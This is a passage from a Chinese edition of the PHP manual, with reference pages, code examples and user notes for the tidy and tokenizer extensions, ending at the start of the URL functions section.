function get_nodes($node) {

// check if the current node is of requested type
if($node->isPhp()) {
echo "\n\n# php node #" . ++$GLOBALS['num'] . "\n";
echo $node->value;
}

// check if the current node has childrens
if($node->hasChildren()) {
foreach($node->child as $child) {
get_nodes($child);
}
}
}

?>

以上示例会输出：

# php node #1
<?php echo '<title>title</title>'; ?>

# php node #2
<?php
  // PHP code
  echo 'hello world!';
?>

User Contributed Notes

There are no user contributed notes for this page.


Checks if a node represents text (no markup)

  • ? tidyNode::isPhp
  • Tidy 函数 ?
  • PHP Manual
  • tidyNode
  • Checks if a node represents text (no markup)

tidyNode::isText

(PHP 5, PHP 7, PHP 8)

tidyNode::isText — Checks if a node represents text (no markup)

说明

public tidyNode::isText(): bool

Tells if the node represents a text (without any markup).

参数

此函数没有参数。

返回值

Returns true if the node represent a text, false otherwise.

示例

Example #1 Extract text from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
/* JSTE code */
alert('Hello World');
#>
</head>
<body>

<?php
// PHP code
echo 'hello world!';
?>

<%
/* ASP code */
response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

// check if the current node is of requested type
if($node->isText()) {
echo "\n\n# text node #" . ++$GLOBALS['num'] . "\n";
echo $node->value;
}

// check if the current node has childrens
if($node->hasChildren()) {
foreach($node->child as $child) {
get_nodes($child);
}
}
}

?>

以上示例会输出：

# text node #1
Hello World

# text node #2
Outside HTML

User Contributed Notes

There are no user contributed notes for this page.


Tidy 函数

Table of Contents

  • ob_tidyhandler — ob_start callback function to repair the buffer
  • tidy_access_count — Returns the Number of Tidy accessibility warnings encountered for specified document
  • tidy_config_count — Returns the Number of Tidy configuration errors encountered for specified document
  • tidy_error_count — Returns the Number of Tidy errors encountered for specified document
  • tidy_get_output — Return a string representing the parsed tidy markup
  • tidy_warning_count — Returns the Number of Tidy warnings encountered for specified document

User Contributed Notes

patatraboum at nospam dot fr 25-Feb-2006 10:13
<?php
//
//The tidy tree of your favorite !
//For PHP 5 (CGI)
//Thanks to john@php.net
//
$file="http://www.php.net";
//
$cns=get_defined_constants(true);
$tidyCns=array("tags"=>array(),"types"=>array());
foreach($cns["tidy"] as $cKey=>$cVal){
    if($cPos=strpos($cKey,$cStr="TAG")) $tidyCns["tags"][$cVal]="$cStr : ".substr($cKey,$cPos+strlen($cStr)+1);
    elseif($cPos=strpos($cKey,$cStr="TYPE")) $tidyCns["types"][$cVal]="$cStr : ".substr($cKey,$cPos+strlen($cStr)+1);
}
$tidyNext=array();
//
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1252'><title>Tidy Tree :: $file</title></head>";
echo "<body><pre>";
//
tidyTree(tidy_get_root(tidy_parse_file($file)),0);
//
function tidyTree($tidy,$level){
    global $tidyCns,$tidyNext;
    $tidyTab=array();
    $tidyKeys=array("type","value","id","attribute");
    foreach($tidy as $pKey=>$pVal){
        if(in_array($pKey,$tidyKeys)) $tidyTab[array_search($pKey,$tidyKeys)]=$pVal;
    }
    ksort($tidyTab);
    foreach($tidyTab as $pKey=>$pVal){
        switch($pKey){
            case 0 :
                if($pVal==4) $value=true; else $value=false;
                echo indent(true,$level).$tidyCns["types"][$pVal]."\n"; break;
            case 1 :
                if($value){
                    echo indent(false,$level)."VALEUR : ".str_replace("\n","\n".indent(false,$level),$pVal)."\n";
                }
                break;
            case 2 :
                echo indent(false,$level).$tidyCns["tags"][$pVal]."\n"; break;
            case 3 :
                if($pVal!=NULL){
                    echo indent(false,$level)."ATTRIBUTS : ";
                    foreach ($pVal as $aKey=>$aVal) echo "$aKey=$aVal "; echo "\n";
                }
        }
    }
    if($tidy->hasChildren()){
        $level++; $i=0;
        $tidyNext[$level]=true;
        echo indent(false,$level)."\n";
        foreach($tidy->child as $child){
            $i++;
            if($i==count($tidy->child)) $tidyNext[$level]=false;
            tidyTree($child,$level);
        }
    }
    else echo indent(false,$level)."\n";
}
//
function indent($tidyType,$level){
    global $tidyNext;
    $indent="";
    for($i=1;$i<=$level;$i++){
        if($i<$level||!$tidyType){
            if($tidyNext[$i]) $str="|  "; else $str="   ";
        }
        else $str="+--";
        $indent=$indent.$str;
    }
    return $indent;
}
//
echo "</pre></body></html>";
//
?>
bill dot mccuistion at qbopen dot com 29-Oct-2004 10:53
Installing tidy on Fedora Core 2 required three libraries:

tidy...
tidy-devel...
libtidy...

All of which I found at http://rpm.pbone.net

Then, finally, could "./configure --with-tidy"

Hope this helps someone out.  This was "REALLY" hard (for me) to figure out as no where else was clearly documented.


ob_start callback function to repair the buffer

  • ? Tidy 函数
  • tidy_access_count ?
  • PHP Manual
  • Tidy 函数
  • ob_start callback function to repair the buffer

ob_tidyhandler

(PHP 5, PHP 7, PHP 8)

ob_tidyhandler — ob_start callback function to repair the buffer

说明

ob_tidyhandler(string $input, int $mode = ?): string

Callback function for ob_start() to repair the buffer.

参数

input

The buffer.

mode

The buffer mode.

返回值

Returns the modified buffer.

示例

Example #1 ob_tidyhandler() example

<?php
ob_start('ob_tidyhandler');

echo '<p>test</i>';
?>

以上示例会输出：

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>test</p>
</body>
</html>

参见

  • ob_start() - 打开输出控制缓冲

User Contributed Notes

There are no user contributed notes for this page.


Returns the Number of Tidy accessibility warnings encountered for specified document

  • ? ob_tidyhandler
  • tidy_config_count ?
  • PHP Manual
  • Tidy 函数
  • Returns the Number of Tidy accessibility warnings encountered for specified document

tidy_access_count

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy_access_count — Returns the Number of Tidy accessibility warnings encountered for specified document

说明

tidy_access_count(tidy $tidy): int

tidy_access_count() returns the number of accessibility warnings found for the specified document.

参数

tidy

The Tidy 对象。

返回值

Returns the number of warnings.

示例

Example #1 tidy_access_count() example

<?php

$html ='<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html><head><title>Title</title></head>
<body>

<p><img src="img.png"></p>

</body></html>';

// select the accessibility check level: 1, 2 or 3
$config = array('accessibility-check' => 3);

$tidy = new tidy();
$tidy->parseString($html, $config);
$tidy->cleanRepair();

/* Never forget to call this! */
$tidy->diagnose();

echo tidy_access_count($tidy); //5

?>

注释

Note:

Due to the design of the TidyLib, you must call tidy_diagnose() before tidy_access_count() or it will return always 0. You must also need to enable the accessibility-check option.

参见

  • tidy_error_count() - Returns the Number of Tidy errors encountered for specified document
  • tidy_warning_count() - Returns the Number of Tidy warnings encountered for specified document

User Contributed Notes

There are no user contributed notes for this page.


Returns the Number of Tidy configuration errors encountered for specified document

  • ? tidy_access_count
  • tidy_error_count ?
  • PHP Manual
  • Tidy 函数
  • Returns the Number of Tidy configuration errors encountered for specified document

tidy_config_count

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy_config_count — Returns the Number of Tidy configuration errors encountered for specified document

说明

tidy_config_count(tidy $tidy): int

Returns the number of errors encountered in the configuration of the specified tidy tidy.

参数

tidy

The Tidy 对象。

返回值

Returns the number of errors.

示例

Example #1 tidy_config_count() example

<?php
$html = '<p>test</I>';

$config = array('doctype' => 'bogus');

$tidy = tidy_parse_string($html, $config);

/* This outputs 1, because 'bogus' isn't a valid doctype */
echo tidy_config_count($tidy);
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the Number of Tidy errors encountered for specified document

  • ? tidy_config_count
  • tidy_get_output ?
  • PHP Manual
  • Tidy 函数
  • Returns the Number of Tidy errors encountered for specified document

tidy_error_count

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy_error_count — Returns the Number of Tidy errors encountered for specified document

说明

tidy_error_count(tidy $tidy): int

Returns the number of Tidy errors encountered for the specified document.

参数

tidy

The Tidy 对象。

返回值

Returns the number of errors.

示例

Example #1 tidy_error_count() example

<?php
$html = '<p>test</i>
<bogustag>bogus</bogustag>';

$tidy = tidy_parse_string($html);

echo tidy_error_count($tidy) . "\n"; //1

echo $tidy->errorBuffer;
?>

以上示例会输出：

1
line 1 column 1 - Warning: missing <!DOCTYPE> declaration
line 1 column 8 - Warning: discarding unexpected </i>
line 2 column 1 - Error: <bogustag> is not recognized!
line 2 column 1 - Warning: discarding unexpected <bogustag>
line 2 column 16 - Warning: discarding unexpected </bogustag>
line 1 column 1 - Warning: inserting missing 'title' element

参见

  • tidy_access_count() - Returns the Number of Tidy accessibility warnings encountered for specified document
  • tidy_warning_count() - Returns the Number of Tidy warnings encountered for specified document

User Contributed Notes

There are no user contributed notes for this page.


Return a string representing the parsed tidy markup

  • ? tidy_error_count
  • tidy_warning_count ?
  • PHP Manual
  • Tidy 函数
  • Return a string representing the parsed tidy markup

tidy_get_output

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy_get_output — Return a string representing the parsed tidy markup

说明

tidy_get_output(tidy $tidy): string

Gets a string with the repaired html.

参数

tidy

The Tidy 对象。

返回值

Returns the parsed tidy markup.

示例

Example #1 tidy_get_output() example

<?php

$html = '<p>paragraph</i>';
$tidy = tidy_parse_string($html);

$tidy->cleanRepair();

echo tidy_get_output($tidy);
?>

以上示例会输出：

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>paragraph</p>
</body>
</html>

User Contributed Notes

jon+php_net at phpsitesolutions dot com 28-Dec-2008 08:31
If you don't feel like going procedural to get the HTML output, you can simple use this alternative:

<?php

$html = <<<HTML

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><title>title</title></head>
<body>
<p>paragraph <br />
text</p>
</body></html>

HTML;

$tidy = new tidy;
$tidy->parseString($html);

$tidy->cleanRepair();
echo $tidy->html()->value;

?>

You can even more simply access the HTML output via this:

<?php

echo $tidy->value;

?>


Returns the Number of Tidy warnings encountered for specified document

  • ? tidy_get_output
  • Tokenizer ?
  • PHP Manual
  • Tidy 函数
  • Returns the Number of Tidy warnings encountered for specified document

tidy_warning_count

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy_warning_count — Returns the Number of Tidy warnings encountered for specified document

说明

tidy_warning_count(tidy $tidy): int

Returns the number of Tidy warnings encountered for the specified document.

参数

tidy

The Tidy 对象。

返回值

Returns the number of warnings.

示例

Example #1 tidy_warning_count() example

<?php
$html = '<p>test</i>
<bogustag>bogus</bogustag>';

$tidy = tidy_parse_string($html);

echo tidy_error_count($tidy) . "\n"; //1
echo tidy_warning_count($tidy) . "\n"; //5
?>

参见

  • tidy_error_count() - Returns the Number of Tidy errors encountered for specified document
  • tidy_access_count() - Returns the Number of Tidy accessibility warnings encountered for specified document

User Contributed Notes

There are no user contributed notes for this page.


Tokenizer

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • PhpToken — The PhpToken class
    • PhpToken::__construct — Returns a new PhpToken object
    • PhpToken::getTokenName — Returns the name of the token.
    • PhpToken::is — Tells whether the token is of given kind.
    • PhpToken::isIgnorable — Tells whether the token would be ignored by the PHP parser.
    • PhpToken::__toString — Returns the textual content of the token.
    • PhpToken::tokenize — Splits given source into PHP tokens, represented by PhpToken objects.
  • Tokenizer 函数
    • token_get_all — 将提供的源码按 PHP 标记进行分割
    • token_name — 获取提供的 PHP 解析器代号的符号名称

User Contributed Notes

There are no user contributed notes for this page.


简介

tokenizer 函数为嵌入在 Zend 引擎中的 PHP tokenizer 提供了接口。使用这些函数，可以编写自己的 PHP 源代码分析或修改工具，而无需在词法级别处理语言规范。

参阅记号附录。

User Contributed Notes

There are no user contributed notes for this page.


安装

此扩展默认为启用，编译时可通过下列选项禁用： --disable-tokenizer

PHP 的 Windows 版本已内建对此扩展的支持。不需要载入额外的扩展来使用这些函数。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

当这个扩展被编译进 PHP 或者在运行时动态加载时，解析器记号（token）列表中的标记会被定义为常量

User Contributed Notes

There are no user contributed notes for this page.


示例

这是使用 tokenizer 的简单 PHP 脚本示例，它将读取 PHP 文件，去掉代码中全部注释，然后只打印纯代码。

Example #1 使用 tokenizer 去除注释

<?php
$source = file_get_contents('example.php');
$tokens = token_get_all($source);

foreach ($tokens as $token) {
if (is_string($token)) {
// simple 1-character token
echo $token;
} else {
// token array
list($id, $text) = $token;

switch ($id) {
case T_COMMENT:
case T_DOC_COMMENT:
// no action on comments
break;

default:
// anything else -> output "as is"
echo $text;
break;
}
}
}
?>

User Contributed Notes

There are no user contributed notes for this page.


The PhpToken class

(PHP 8)

简介

This class provides an alternative to token_get_all(). While the function returns tokens either as a single-character string, or an array with a token ID, token text and line number, PhpToken::tokenize() normalizes all tokens into PhpToken objects, which makes code operating on tokens more memory efficient and readable.

类摘要

class PhpToken implements Stringable {
/* 属性 */
public int $id;
public string $text;
public int $line;
public int $pos;
/* 方法 */
final public __construct(
int $id,
string $text,
int $line = -1,
int $pos = -1
)
public getTokenName(): ?string
public is(int|string|array $kind): bool
public isIgnorable(): bool
public __toString(): string
public static tokenize(string $code, int $flags = 0): array
}

属性

id

One of the T_* constants, or an ASCII codepoint representing a single-char token.

text

The textual content of the token.

line

The starting line number (1-based) of the token.

pos

The starting position (0-based) in the tokenized string (the number of bytes).

Table of Contents

  • PhpToken::__construct — Returns a new PhpToken object
  • PhpToken::getTokenName — Returns the name of the token.
  • PhpToken::is — Tells whether the token is of given kind.
  • PhpToken::isIgnorable — Tells whether the token would be ignored by the PHP parser.
  • PhpToken::__toString — Returns the textual content of the token.
  • PhpToken::tokenize — Splits given source into PHP tokens, represented by PhpToken objects.

User Contributed Notes

There are no user contributed notes for this page.


Returns a new PhpToken object

  • ? PhpToken
  • PhpToken::getTokenName ?
  • PHP Manual
  • PhpToken
  • Returns a new PhpToken object

PhpToken::__construct

(PHP 8)

PhpToken::__construct — Returns a new PhpToken object

说明

final public PhpToken::__construct(
int $id,
string $text,
int $line = -1,
int $pos = -1
)

Returns a new PhpToken object

参数

id

One of the T_* constants (see 解析器记号（token）列表), or an ASCII codepoint representing a single-char token.

text

The textual content of the token.

line

The starting line number (1-based) of the token.

pos

The starting position (0-based) in the tokenized string (the number of bytes).

参见

  • PhpToken::tokenize() - Splits given source into PHP tokens, represented by PhpToken objects.

User Contributed Notes

There are no user contributed notes for this page.


Returns the name of the token.

  • ? PhpToken::__construct
  • PhpToken::is ?
  • PHP Manual
  • PhpToken
  • Returns the name of the token.

PhpToken::getTokenName

(PHP 8)

PhpToken::getTokenName — Returns the name of the token.

说明

public PhpToken::getTokenName(): ?string

Returns the name of the token.

参数

此函数没有参数。

返回值

An ASCII character for single-char tokens, or one of T_* constant names for known tokens (see 解析器记号（token）列表), or null for unknown tokens.

示例

Example #1 PhpToken::getTokenName() example

<?php
// known token
$token = new PhpToken(T_ECHO, 'echo');
var_dump($token->getTokenName()); // -> string(6) "T_ECHO"

// single-char token
$token = new PhpToken(ord(';'), ';');
var_dump($token->getTokenName()); // -> string(1) ";"

// unknown token
$token = new PhpToken(10000 , "\0");
var_dump($token->getTokenName()); // -> NULL

参见

  • PhpToken::tokenize() - Splits given source into PHP tokens, represented by PhpToken objects.
  • token_name() - 获取提供的 PHP 解析器代号的符号名称

User Contributed Notes

There are no user contributed notes for this page.


Tells whether the token is of given kind.

  • ? PhpToken::getTokenName
  • PhpToken::isIgnorable ?
  • PHP Manual
  • PhpToken
  • Tells whether the token is of given kind.

PhpToken::is

(PHP 8)

PhpToken::is — Tells whether the token is of given kind.

说明

public PhpToken::is(int|string|array $kind): bool

Tells whether the token is of given kind.

参数

kind

Either a single value to match the token's id or textual content, or an array thereof.

返回值

A boolean value whether the token is of given kind.

示例

Example #1 PhpToken::is() example

<?php
$token = new PhpToken(T_ECHO, 'echo');
var_dump($token->is(T_ECHO)); // -> bool(true)
var_dump($token->is('echo')); // -> bool(true)
var_dump($token->is(T_FOREACH)); // -> bool(false)
var_dump($token->is('foreach')); // -> bool(false)

Example #2 Usage with array

<?php
function isClassType(PhpToken $token): bool {
return $token->is([T_CLASS, T_INTERFACE, T_TRAIT]);
}

$interface = new PhpToken(T_INTERFACE, 'interface');
var_dump(isClassType($interface)); // -> bool(true)

$function = new PhpToken(T_FUNCTION, 'function');
var_dump(isClassType($function)); // -> bool(false)

参见

  • token_name() - 获取提供的 PHP 解析器代号的符号名称

User Contributed Notes

There are no user contributed notes for this page.


Tells whether the token would be ignored by the PHP parser.

  • ? PhpToken::is
  • PhpToken::__toString ?
  • PHP Manual
  • PhpToken
  • Tells whether the token would be ignored by the PHP parser.

PhpToken::isIgnorable

(PHP 8)

PhpToken::isIgnorable — Tells whether the token would be ignored by the PHP parser.

说明

public PhpToken::isIgnorable(): bool

Tells whether the token would be ignored by the PHP parser.

参数

此函数没有参数。

返回值

A boolean value whether the token would be ignored by the PHP parser (such as whitespace or comments).

示例

Example #1 PhpToken::isIgnorable() example

<?php
$echo = new PhpToken(T_ECHO, 'echo');
var_dump($echo->isIgnorable()); // -> bool(false)

$space = new PhpToken(T_WHITESPACE, ' ');
var_dump($space->isIgnorable()); // -> bool(true)

参见

  • PhpToken::tokenize() - Splits given source into PHP tokens, represented by PhpToken objects.

User Contributed Notes

info at ensostudio dot ru 01-Mar-2022 12:02
<?php
    public function isIgnorable(): bool
    {
        return $this->is([\T_COMMENT, \T_DOC_COMMENT, \T_OPEN_TAG, \T_WHITESPACE]);
    }
?>


Returns the textual content of the token.

  • ? PhpToken::isIgnorable
  • PhpToken::tokenize ?
  • PHP Manual
  • PhpToken
  • Returns the textual content of the token.

PhpToken::__toString

(PHP 8)

PhpToken::__toString — Returns the textual content of the token.

说明

public PhpToken::__toString(): string

Returns the textual content of the token.

参数

此函数没有参数。

返回值

A textual content of the token.

示例

Example #1 PhpToken::__toString() example

<?php
$token = new PhpToken(T_ECHO, 'echo');
echo $token;

以上示例会输出：

echo

参见

  • token_name() - 获取提供的 PHP 解析器代号的符号名称

User Contributed Notes

There are no user contributed notes for this page.


Splits given source into PHP tokens, represented by PhpToken objects.

  • ? PhpToken::__toString
  • Tokenizer 函数 ?
  • PHP Manual
  • PhpToken
  • Splits given source into PHP tokens, represented by PhpToken objects.

PhpToken::tokenize

(PHP 8)

PhpToken::tokenize — Splits given source into PHP tokens, represented by PhpToken objects.

说明

public static PhpToken::tokenize(string $code, int $flags = 0): array

Returns an array of PhpToken objects representing given code.

参数

code

The PHP source to parse.

flags

Valid flags:

  • TOKEN_PARSE - Recognises the ability to use reserved words in specific contexts.

返回值

An array of PHP tokens represented by instances of PhpToken or its descendants. This method returns static[] so that PhpToken can be seamlessly extended.

示例

Example #1 PhpToken::tokenize() example

<?php
$tokens = PhpToken::tokenize('<?php echo; ?>');

foreach ($tokens as $token) {
echo "Line {$token->line}: {$token->getTokenName()} ('{$token->text}')", PHP_EOL;
}

以上示例会输出：

Line 1: T_OPEN_TAG ('<?php ')
Line 1: T_ECHO ('echo')
Line 1: ; (';')
Line 1: T_WHITESPACE (' ')
Line 1: T_CLOSE_TAG ('?>')

Example #2 Extending PhpToken

<?php

class MyPhpToken extends PhpToken {
public function getUpperText() {
return strtoupper($this->text);
}
}

$tokens = MyPhpToken::tokenize('<?php echo; ?>');
echo "'{$tokens[0]->getUpperText()}'";

以上示例会输出：

'<?PHP '

参见

  • token_get_all() - 将提供的源码按 PHP 标记进行分割

User Contributed Notes

There are no user contributed notes for this page.


Tokenizer 函数

Table of Contents

  • token_get_all — 将提供的源码按 PHP 标记进行分割
  • token_name — 获取提供的 PHP 解析器代号的符号名称

User Contributed Notes

There are no user contributed notes for this page.


将提供的源码按 PHP 标记进行分割

  • ? Tokenizer 函数
  • token_name ?
  • PHP Manual
  • Tokenizer 函数
  • 将提供的源码按 PHP 标记进行分割

token_get_all

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

token_get_all — 将提供的源码按 PHP 标记进行分割

说明

token_get_all(string $code, int $flags = 0): array

token_get_all() 解析提供的 code 源码字符，然后使用 Zend 引擎的语法分析器获取源码中的 PHP 语言的解析器记号。

解析器记号列表见解析器记号（token）列表，或者使用 token_name() 翻译获取这个记号的字符串表示。

参数

code

需要解析的 PHP 源码.

flags

有效 flag：

  • TOKEN_PARSE——在指定上下文中识别关键词。

返回值

记号标识符数组。每个单独的记号标识符要么是单个字符（即 ;、.、>、! 等），要么是有三个元素的数组，其中元素 0 是记号索引，元素 1 是原始记号的字符串内容和元素 2 是行号。

示例

Example #1 token_get_all() 示例

<?php
$tokens = token_get_all('<?php echo; ?>');

foreach ($tokens as $token) {
if (is_array($token)) {
echo "Line {$token[2]}: ", token_name($token[0]), " ('{$token[1]}')", PHP_EOL;
}
}
?>

以上示例的输出类似于：

Line 1: T_OPEN_TAG ('<?php ')
Line 1: T_ECHO ('echo')
Line 1: T_WHITESPACE (' ')
Line 1: T_CLOSE_TAG ('?>')

Example #2 token_get_all() 错误用法示例

<?php
$tokens = token_get_all('/* comment */');

foreach ($tokens as $token) {
if (is_array($token)) {
echo "Line {$token[2]}: ", token_name($token[0]), " ('{$token[1]}')", PHP_EOL;
}
}
?>

以上示例的输出类似于：

Line 1: T_INLINE_HTML ('/* comment */')
请注意，在前面的示例中，字符串解析为 T_INLINE_HTML 而不是预期的 T_COMMENT。这是因为在提供的代码中没有使用开放标记。这相当于在普通文件中将注释放在 PHP 标记之外。

Example #3 token_get_all() 在类上使用关键词示例

<?php

$source = <<<'code'
<?php

class A
{
const PUBLIC = 1;
}
code;

$tokens = token_get_all($source, TOKEN_PARSE);

foreach ($tokens as $token) {
if (is_array($token)) {
echo token_name($token[0]) , PHP_EOL;
}
}
?>

以上示例的输出类似于：

T_OPEN_TAG
T_WHITESPACE
T_CLASS
T_WHITESPACE
T_STRING
T_CONST
T_WHITESPACE
T_STRING
T_LNUMBER
如果没有 TOKEN_PARSE flag，倒数第二个记号（T_STRING）将是 T_PUBLIC。

参见

  • PhpToken::tokenize() - Splits given source into PHP tokens, represented by PhpToken objects.
  • token_name() - 获取提供的 PHP 解析器代号的符号名称

User Contributed Notes

Ivan Ustanin 25-Aug-2018 05:40
As a caution: when using TOKEN_PARSE with an invalid php-file, one can get an error like this:
Parse error: syntax error, unexpected '__construct' (T_STRING), expecting function (T_FUNCTION) or const (T_CONST) in  on line 15
Notice the missing filename as this function accepts a string, not a filename and thus has no idea of the latter.
However an exception would be more appreciated.
bart 23-May-2017 08:34
Not all tokens are returned as an array. The rule appears to be that if a token is not variable, but instead it is one particular constant string, it is returned as a string instead. You don't get a line number. This is the case for braces( "{", "}"), parentheses ("(", ")"), brackets ("[", "]"), comma (","), semi-colon (";"), and a whole slew of operator signs ("!", "=", "+", "*", "/", ".", "+=", ...).
Theriault 02-Apr-2016 11:23
The T_OPEN_TAG token will include the first trailing newline (\r, \n, or \r\n), tab (\t), or space. Any additional space after this token will be in a T_WHITESPACE token.

The T_CLOSE_TAG token will include the first trailing newline (\r, \n, or \r\n; as described here http://php.net/manual/en/language.basic-syntax.instruction-separation.php). Any additional space after this token will be in a T_INLINE_HTML token.
gomodo at free dot fr 02-Aug-2009 10:08
Yes, some problems (On WAMP, PHP 5.3.0 ) with get_token_all()

1 : bug line numbers
 Since PHP 5.2.2 token_get_all()  should return Line numbers in element 2..
.. but for instance (5.3.0 on WAMP), it work perfectly only with PHP code (not HMTL miwed), but if you have some T_INLINE_HTML detected by token_get_all() ,  sometimes you find wrongs line numbers  (return next line)... :(

2: bug warning message can impact loops
Warning with php code uncompleted (ex : php code line by line) :
for example if a comment tag is not closed  token_get_all()  can block loops on this  warning :
Warning: Unterminated comment starting line

This problem seem not occur in CLI mod (php command line), but only in web mod.

Waiting more stability, used token_get_all()  only on PHP code (not HMTL miwed) :
First extract entirely PHP code (with open et close php tag),
Second use token_get_all()  on the pure PHP code.

3 : Why there not function to extract PHP code (to extract HTML, we have Tidy..)?

Waiting, I used a function :

The code at end this post :
http://www.developpez.net/forums/d786381/php/langage/
fonctions/analyser-fichier-php-token_get_all/

This function not support :
- Old notation :  "<?  ?>" and "<% %>"
- heredoc syntax
- nowdoc syntax (since PHP 5.3.0)
Dennis Robinson from basnetworks dot net 28-Jun-2009 09:24
I wanted to use the tokenizer functions to count source lines of code, including counting comments.  Attempting to do this with regular expressions does not work well because of situations where /* appears in a string, or other situations.  The token_get_all() function makes this task easy by detecting all the comments properly.  However, it does not tokenize newline characters.  I wrote the below set of functions to also tokenize newline characters as T_NEW_LINE.

<?php

define('T_NEW_LINE', -1);

function token_get_all_nl($source)
{
    $new_tokens = array();

    // Get the tokens
    $tokens = token_get_all($source);

    // Split newlines into their own tokens
    foreach ($tokens as $token)
    {
        $token_name = is_array($token) ? $token[0] : null;
        $token_data = is_array($token) ? $token[1] : $token;

        // Do not split encapsed strings or multiline comments
        if ($token_name == T_CONSTANT_ENCAPSED_STRING || substr($token_data, 0, 2) == '/*')
        {
            $new_tokens[] = array($token_name, $token_data);
            continue;
        }

        // Split the data up by newlines
        $split_data = preg_split('#(\r\n|\n)#', $token_data, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);

        foreach ($split_data as $data)
        {
            if ($data == "\r\n" || $data == "\n")
            {
                // This is a new line token
                $new_tokens[] = array(T_NEW_LINE, $data);
            }
            else
            {
                // Add the token under the original token name
                $new_tokens[] = is_array($token) ? array($token_name, $data) : $data;
            }
        }
    }

    return $new_tokens;
}

function token_name_nl($token)
{
    if ($token === T_NEW_LINE)
    {
        return 'T_NEW_LINE';
    }

    return token_name($token);
}

?>

Example usage:

<?php

$tokens = token_get_all_nl(file_get_contents('somecode.php'));

foreach ($tokens as $token)
{
    if (is_array($token))
    {
        echo (token_name_nl($token[0]) . ': "' . $token[1] . '"<br />');
    }
    else
    {
        echo ('"' . $token . '"<br />');
    }
}

?>

I'm sure you can figure out how to count the lines of code, and lines of comments with these functions.  This was a huge improvement on my previous attempt at counting lines of code with regular expressions.  I hope this helps someone, as many of the user contributed examples on this website have helped me in the past.
kevin at metalaxe dot com 26-Apr-2008 02:58
Rogier, thanks for that fix. This bug still exists in php 5.2.5. I did notice though that it is possible for a notice to pop up from your code. Changing this line:

            $temp[] = $tokens[0][2];

To read this:

            $temp[] = isset($tokens[0][2])?$tokens[0][2]:'unknown';

fixes this notice.
rogier 10-Jan-2008 11:01
Complementary note to code below:
Note that only the FIRST 2 (or 3, if needed) array elements will be updated.

Since I only encountered incorrect results on the FIRST occurence of T_OPEN_TAG, I wrote this quick fix.
Any other following T_OPEN_TAG are, on my testing system (Apache 2.0.52, PHP 5.0.3), parsed correctly.

So, This function assumes only a possibly incorrect first T_OPEN_TAG.
Also, this function assumes the very first element (and ONLY the first element) of the token array to be the possibly incorrect token.
This effectively translates to the first character of the tokenized source to be the start of a php script opening tag '<', followed by either 'php' OR '%' (ASP_style)
nicolas dot grekas+php at gmail dot com 03-Dec-2007 01:10
Well, there is a way to parse for errors. See
http://www.php.net/manual/function.php-check-syntax.php#77318


获取提供的 PHP 解析器代号的符号名称

  • ? token_get_all
  • URL ?
  • PHP Manual
  • Tokenizer 函数
  • 获取提供的 PHP 解析器代号的符号名称

token_name

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

token_name — 获取提供的 PHP 解析器代号的符号名称

说明

token_name(int $id): string

token_name() 获取 PHP id 的符号名称。

参数

id

解析器记号的值。

返回值

提供的 id 的符号名。

示例

Example #1 token_name() 示例

<?php
// 260 是 T_EVAL 记号的记号值
echo token_name(260); // -> "T_EVAL"

// 记号常量映射到自己的名称
echo token_name(T_FUNCTION); // -> "T_FUNCTION"
?>

参见

  • 解析器记号列表
  • PhpToken::getTokenName() - Returns the name of the token.

User Contributed Notes

There are no user contributed notes for this page.


URL

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • URL 函数
    • base64_decode — 对使用 MIME base64 编码的数据进行解码
    • base64_encode — 使用 MIME base64 对数据进行编码
    • get_headers — 取得服务器响应 HTTP 请求所发送的所有标头
    • get_meta_tags — 从一个文件中提取所有的 meta 标签 content 属性，返回一个数组
    • http_build_query — 生成 URL-encode 之后的请求字符串
    • parse_url — 解析 URL，返回其组成部分
    • rawurldecode — 对已编码的 URL 字符串进行解码
    • rawurlencode — 按照 RFC 3986 对 URL 进行编码
    • urldecode — 解码已编码的 URL 字符串
    • urlencode — 编码 URL 字符串

User Contributed Notes

There are no user contributed notes for this page.


简介

处理 URL 字符串: 编码、解码和解析。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

以下常量与 parse_url() 一起使用。

PHP_URL_SCHEME (int)
PHP_URL_HOST (int)
输出解析 URL 的主机名。
PHP_URL_PORT (int)
输出解析 URL 的端口。
PHP_URL_USER (int)
输出解析 URL 的用户名。
PHP_URL_PASS (int)
输出解析 URL 的密码。
PHP_URL_PATH (int)
输出解析 URL 的路径。
PHP_URL_QUERY (int)
输出解析 URL 的查询字符串。
PHP_URL_FRAGMENT (int)
输出解析 URL 的片段（# 后的字符串）。

以下常量与 http_build_query() 一起使用。

PHP_QUERY_RFC1738 (int)
根据 » RFC 1738 和 application/x-www-form-urlencoded 媒体类型执行编码，这意味着空格会编码为加号（+）。
PHP_QUERY_RFC3986 (int)
根据 » RFC 3986 执行编码，空格将会百分比编码（%20）。

User Contributed Notes

There are no user contributed notes for this page.


URL 函数

